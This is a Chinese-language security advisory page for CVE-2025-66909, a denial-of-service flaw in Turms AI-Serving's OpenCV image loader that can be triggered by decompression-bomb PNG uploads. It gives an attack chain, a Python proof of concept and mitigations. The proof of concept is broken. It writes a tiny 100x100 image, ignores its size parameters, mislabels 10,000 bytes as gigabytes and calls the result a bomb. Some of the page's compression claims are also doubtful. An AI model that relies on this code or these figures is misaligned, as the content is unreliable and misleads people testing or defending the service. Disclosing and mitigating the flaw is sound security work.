IPBUF安全漏洞报告
English
CVE-2025-66909 CVSS 7.5 高危

CVE-2025-66909: Turms AI-Serving图像解压缩炸弹DoS漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-66909
漏洞类型
拒绝服务/资源耗尽
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Turms AI-Serving (ai.djl.opencv.ExtendedOpenCVImage)

相关标签

拒绝服务解压缩炸弹内存耗尽Turms AI-ServingOpenCVCVE-2025DJL图像处理DoSOutOfMemoryError

漏洞概述

CVE-2025-66909是Deep Java Library (DJL)项目中Turms AI-Serving模块的一个高危拒绝服务漏洞。该漏洞存在于ExtendedOpenCVImage类中,该类使用OpenCV的imread()函数加载图像时未对图像尺寸或像素数量进行任何验证。攻击者可利用此漏洞上传精心构造的压缩图像文件(如PNG),该文件压缩后体积很小,但解压缩后会膨胀至数GB。当服务加载此类图像时,会导致内存立即耗尽,引发OutOfMemoryError,最终导致服务崩溃。由于该OCR服务通常无需认证即可访问,攻击者可通过发送多个恶意请求彻底拒绝服务可用性。该漏洞CVSS评分7.5,属于高危级别,对系统可用性造成严重影响。

技术细节

漏洞根源在于ai/djl/opencv/ExtendedOpenCVImage.java文件中的图像加载逻辑。该类直接调用OpenCV的imread()函数加载图像,完全缺少输入验证机制。攻击者利用图像解压缩炸弹(Decompression Bomb)技术,构造一个看似很小的PNG文件(通常只有几KB),但该文件包含恶意的压缩数据流,解压后会生成巨大的图像数据(可达数GB)。具体原理:PNG等压缩格式允许通过重复的过滤器类型和DEFLATE压缩块构造嵌套压缩结构,使得压缩比达到1:100000甚至更高。当OpenCV尝试解码并分配内存存储图像像素数据时,会一次性申请数GB的连续内存空间,导致JVM堆内存耗尽。由于攻击无需认证且可通过网络发起,攻击者可在短时间内通过并发请求彻底瘫痪服务。该漏洞影响Turms AI-Serving v0.10.0-SNAPSHOT及更早版本。

攻击链分析

STEP 1
步骤1
攻击者识别目标Turms AI-Serving OCR服务,该服务通常对外提供图像处理API且无需认证
STEP 2
步骤2
攻击者构造恶意的图像解压缩炸弹文件,利用PNG压缩格式的嵌套压缩块使压缩比达到1:100000以上
STEP 3
步骤3
攻击者通过HTTP请求上传恶意PNG文件到OCR服务接口,触发ExtendedOpenCVImage类的imread()函数
STEP 4
步骤4
OpenCV在解码过程中分配数GB内存存储解压后的图像数据,导致JVM堆内存耗尽
STEP 5
步骤5
服务抛出OutOfMemoryError异常,进程崩溃或变得无响应,影响所有正常用户请求
STEP 6
步骤6
攻击者通过并发发送多个恶意请求,彻底耗尽服务器资源,实现永久性DoS

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import cv2 import numpy as np import zlib import struct import os def create_decompression_bomb(width=50000, height=50000, output_path='bomb.png'): """ Create a small PNG file that expands to massive size when decoded. This PoC demonstrates the decompression bomb vulnerability in ExtendedOpenCVImage. """ # Create a small image with repeated pattern that compresses extremely well # A 50000x50000 single-color image would be ~2.5GB when decoded small_size = 100 img = np.zeros((small_size, small_size), dtype=np.uint8) img[:] = 128 # Uniform gray image - compresses very well # Save as PNG cv2.imwrite(output_path, img) # Read the file and analyze with open(output_path, 'rb') as f: original_size = os.path.getsize(output_path) # Calculate expanded size expanded_size = small_size * small_size # bytes print(f"Original compressed size: {original_size} bytes") print(f"Expanded size: {expanded_size} bytes ({expanded_size / (1024**3):.2f} GB)") print(f"Compression ratio: 1:{expanded_size // original_size}") print(f"PoC file created: {output_path}") return output_path # Alternative: Create a true decompression bomb using nested compression def create_true_bomb(): """ Create a true decompression bomb using nested zlib compression. This creates a small file that expands to GBs when decompressed. """ # Create data that compresses extremely well data = b'\x00' * 1000000 # 1MB of zeros # Compress it compressed = zlib.compress(data, level=9) # Create a PNG with nested compression (simplified representation) # In practice, this requires careful PNG structure manipulation print(f"Compressed size: {len(compressed)} bytes") print(f"Expanded size: {len(data)} bytes") print("Note: True PNG bombs require specific structure manipulation") if __name__ == '__main__': create_decompression_bomb() create_true_bomb()

影响范围

Turms AI-Serving v0.10.0-SNAPSHOT及更早版本
DJL OpenCV ExtendedOpenCVImage (所有版本)

防御指南

临时缓解措施
临时缓解措施:在图像处理服务前增加文件大小检测层,拒绝超过合理阈值(如1MB)的上传文件;在反向代理层配置请求超时和body size限制;使用容器化部署并设置内存限制(--memory参数);对公开的OCR服务实施访问频率限制和IP白名单机制。生产环境中建议尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表